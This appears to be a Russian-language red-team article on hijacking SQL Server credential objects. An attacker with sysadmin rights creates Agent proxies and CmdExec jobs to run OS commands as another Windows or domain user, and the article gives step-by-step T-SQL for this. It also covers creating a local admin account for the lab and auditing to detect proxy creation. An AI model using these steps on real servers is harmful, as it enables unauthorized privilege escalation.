Перехват учетных данных SQL Server с помощью заданий агента для повышения привилегий в домене.
В этой статье я расскажу об объектах учетных данных SQL Server и о том, как их могут использовать злоумышленники для выполнения кода от имени учетной записи SQL Server, локального пользователя Windows или доменного пользователя. Также я объясню, как включить ведение журнала, которое может помочь в выявлении этого поведения. Это будет интересно тестировщикам на проникновение, участникам Red Team и администраторам баз данных, которые ищут легальные обходные пути для аутентификации.
Начнем с описания распространенной ситуации и проблемы, которую мы пытаемся решить с помощью этой техники.
- Вы — тестировщик на проникновение или участник Red Team.
- Вы получили права системного администратора на SQL сервере через один из типичных векторов атак, таких как SQL-инъекция, слабый пароль, чрезмерные привилегии или некорректная конфигурация связи SQL Server.
- Вы можете выполнять команды и код на хостовой операционной системе в контексте учетной записи службы SQL Server с помощью различных методов, таких как xp_cmdshell, пользовательские CLR, задания агента и т.д.
Проблема в том, что служба SQL Server настроена на запуск от имени учетной записи NT Service\MSSQLSERVER, которая имеет ограниченные привилегии на операционной системе. Как тестировщики, мы стремимся получить права локального администратора как минимум, а если повезет, то и права администратора домена. Нам нужно найти обходной путь.
Учитывая ограничения учетной записи NT Service\MSSQLSERVER, наш следующий шаг заключается в попытке повысить привилегии на локальной системе. Существует множество подходов к эскалации привилегий на уровне операционной системы Windows, но я хотел бы рассмотреть, как учетные данные SQL Server могут быть использованы в этой ситуации, если они настроены на сервере.
Что такое объект учетных данных в SQL Server?
Учетные данные — это объекты в SQL Server, которые хранят информацию, такую как имена пользователей и пароли, используемые для аутентификации с внешними ресурсами, такими как другие SQL Server, файловые ресурсы или веб-сервисы, и выполнения процессов/задач от имени другого пользователя. Типы учетных данных включают учетные записи SQL Server, локальных пользователей Windows и доменных пользователей Active Directory.
Некоторые общие подсистемы SQL Server, использующие учетные данные:
- Jobs агента
- SQL Server Integration Services (SSIS)
- SQL Server Reporting Services (SSRS)
- Связанные серверы
- Почта базы данных
- Service Broker
- Репликация
Существует множество законных случаев использования учетных данных в SQL Server, однако, как и все токены аутентификации, они могут стать целью для злоумышленников.
Как восстановить имена пользователей и пароли, хранящиеся в объектах учетных данных?
Получение паролей в открытом виде может быть крайне полезным во время повышения привилегий. Но как их извлечь из объектов учетных данных SQL Server? Главная сложность — это шифрование.
К счастью, Антти Рантасаари разработал в 2014 году PowerShell-скрипт, который расшифровывает учетные данные, хранящиеся в объектах SQL Server. Этот скрипт был перенесен в функцию Get-DecryptedObject в модуле DBATools.
Чтобы запустить функцию Антти, импортируйте его PowerShell-функцию и выполните команду:
Get-MSSQLCredentialPasswords
Однако перед тем, как начать работу, стоит учесть некоторые требования:
В нашем сценарии мы не удовлетворяем всем необходимым условиям для восстановления паролей в открытом виде из объектов учетных данных. Техника Антти Рантасаари весьма эффективна, но требует наличия прав локального администратора на Windows-системе, на которой размещен SQL Server. Без этих привилегий она неприменима. Что же делать, если у нас нет прав локального администратора?
Как использовать объекты учетных данных SQL Server без прав локального администратора?
Как уже упоминалось, объекты учетных данных SQL Server предназначены для доступа к внешним ресурсам и выполнения задач от имени другого пользователя. Это означает, что нам не нужно восстанавливать имена пользователей и пароли в открытом виде для выполнения кода в контексте другого пользователя — мы можем использовать функционал так, как он был задуман.
Далее приведен процесс, который можно использовать для "перехвата" существующего объекта учетных данных, настроенного на сервере SQL Server, позволяя выполнять код в контексте предоставленного пользователя с использованием заданий агента SQL Server. Пароль или права локального администратора не требуются.
Для демонстрации того, как можно перехватить учетные данные, настроим лабораторную среду:
2. Создайте локального пользователя Windows с именем testuser и сделайте его локальным администратором:
net user testuser P@ssw0rd! /add net localgroup administrators /add testuser
3. Войдите в SQL Server и создайте объект учетных данных:
CREATE CREDENTIAL [MyCredential] WITH IDENTITY = 'yourcomputernamehere\testuser', SECRET = 'P@ssw0rd!';
Пошаговое руководство по выполнению кода с использованием учетных данных
1. Зайдите на SQL Server и проверьте, есть ли у вас права системного администратора:
SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;
2. Список учетных данных. Следующий запрос предоставит вам список учетных данных, настроенных на сервере SQL Server. Если они существуют, вы уже на полпути:
SELECT * FROM sys.credentials;
3. Список прокси-аккаунтов. Прокси-аккаунты связаны с объектами учетных данных и используются job’ми агента. Использование существующего прокси-аккаунта может снизить вероятность обнаружения:
USE msdb; GO SELECT proxy_id, name AS proxy_name, credential_id, enabled FROM dbo.sysproxies; GO
4. Создайте учетную запись прокси-сервера. Если учетная запись прокси-сервера еще не существует, мы можем ее создать и назначить ей необходимые привилегии. Для получения дополнительной информации об учетных записях прокси-серверов ознакомьтесь с разделом https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16 .
USE msdb; GO EXEC sp_add_proxy @proxy_name = N'MyCredentialProxy', -- Name of the proxy @credential_name = N'MyCredential'; -- Name of the existing credential EXEC sp_grant_proxy_to_subsystem @proxy_name = N'MyCredentialProxy', @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
5. Проверьте создание прокси-аккаунта:
USE msdb; GO SELECT proxy_id, name AS proxy_name, credential_id, enabled FROM dbo.sysproxies; GO
6. Создайте задание агенту для выполнения нужного кода или команд на операционной системе. По умолчанию доступны PowerShell, VBScript, JScript и CMDEXEC. В следующем примере создается файл whoami.txt в папке C:\Windows\Temp, чтобы показать, что процесс был выполнен в контексте прокси-пользователя:
USE msdb; GO -- Create the job EXEC sp_add_job @job_name = N'WhoAmIJob'; -- Name of the job -- Add a job step that uses the proxy to execute the whoami command EXEC sp_add_jobstep @job_name = N'WhoAmIJob', @step_name = N'ExecuteWhoAmI', @subsystem = N'CmdExec', @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt', @on_success_action = 1, -- 1 = Quit with success @on_fail_action = 2, -- 2 = Quit with failure @proxy_name = N'MyCredentialProxy'; -- The proxy created earlier -- Add a schedule to the job (optional, can be manual or scheduled) EXEC sp_add_jobschedule @job_name = N'WhoAmIJob', @name = N'RunOnce', @freq_type = 1, -- 1 = Once @active_start_date = 20240820, @active_start_time = 120000; -- Add the job to the SQL Server Agent EXEC sp_add_jobserver @job_name = N'WhoAmIJob', @server_name = N'(LOCAL)';
7. Используйте следующий запрос для проверки того, использует ли агент прокси-аккаунт. Запрос также покажет все остальные jobs агента:
USE msdb; GO SELECT jobs.name AS JobName, steps.step_id AS StepID, steps.step_name AS StepName, proxies.name AS ProxyName, ISNULL(credentials.name, 'No Credential') AS CredentialName, ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName FROM msdb.dbo.sysjobs AS jobs JOIN msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id JOIN msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id LEFT JOIN sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id WHERE steps.proxy_id IS NOT NULL ORDER BY jobs.name, steps.step_id;
8. Выполните job агента, чтобы запустить процесс от имени прокси-аккаунта и выполнить код/команду:
EXEC sp_start_job @job_name = N'WhoAmIJob';
9. Подтвердите выполнение, проверив содержимое файла whoami.txt в папке C:\Windows\Temp.
Таким образом, мы смогли выполнить команды на хостовой операционной системе, используя учетные данные, не зная имени пользователя или пароля. Однако если вам удастся имитировать пользователя с правами локального администратора, вы также сможете восстановить имя пользователя и пароль в открытом виде, используя технику Антти.
Возможности для обнаружения и поиска
Предыдущий раздел был полезен для злоумышленников, но теперь рассмотрим способы защиты. Вот обзор некоторых возможностей для обнаружения атак.
Источник данных: Логи приложений
Стратегия обнаружения: Поведенческая
Концепция обнаружения: Чтобы обнаружить злоупотребление учетными данными через прокси-аккаунты, создайте спецификации аудита сервера и базы данных, которые могут выявить создание прокси-аккаунта, отслеживая выполнение хранимых процедур sp_add_proxy и sp_grant_proxy_to_subsystem. SQL Server также может быть настроен для отправки этих событий в журнал приложений Windows, где можно отслеживать событие с идентификатором 33205.
Настройки для конфигурации обнаружения:
Use master CREATE SERVER AUDIT [ProxyAccountAudit] TO APPLICATION_LOG WITH (ON_FAILURE = CONTINUE); GO
2. Создание спецификации аудита базы данных. Это фиксирует изменения уровня сервера и базы данных в базе данных msdb:
USE msdb; GO CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec] FOR SERVER AUDIT [ProxyAccountAudit] ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]), ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo]) WITH (STATE = ON); GO
Use master GO ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); GO Use msdb GO ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec] WITH (STATE = ON); GO
4. Теперь, если вы повторно выполните шаги по созданию прокси-аккаунта и проверите журнал приложений Windows на наличие события с идентификатором 33205, вы должны увидеть записи о выполнении процедур sp_add_proxy и sp_grant_proxy_to_subsystem.
Если вам интересно изучить другие материалы по наступательной безопасности, связанные с SQL Server, вы можете найти их на сайте powerupsql.com. На сайте представлены код PowerUpSQL, шаблоны атак на SQL Server, шаблоны обнаружения, инструкции по повышению привилегий, блоги и презентации, посвященные взлому SQL Server.
Примечание: Я пока не тестировал эту технику на базе данных Azure SQL, однако предварительные исследования показывают, что учетные данные в этой среде не поддерживаются.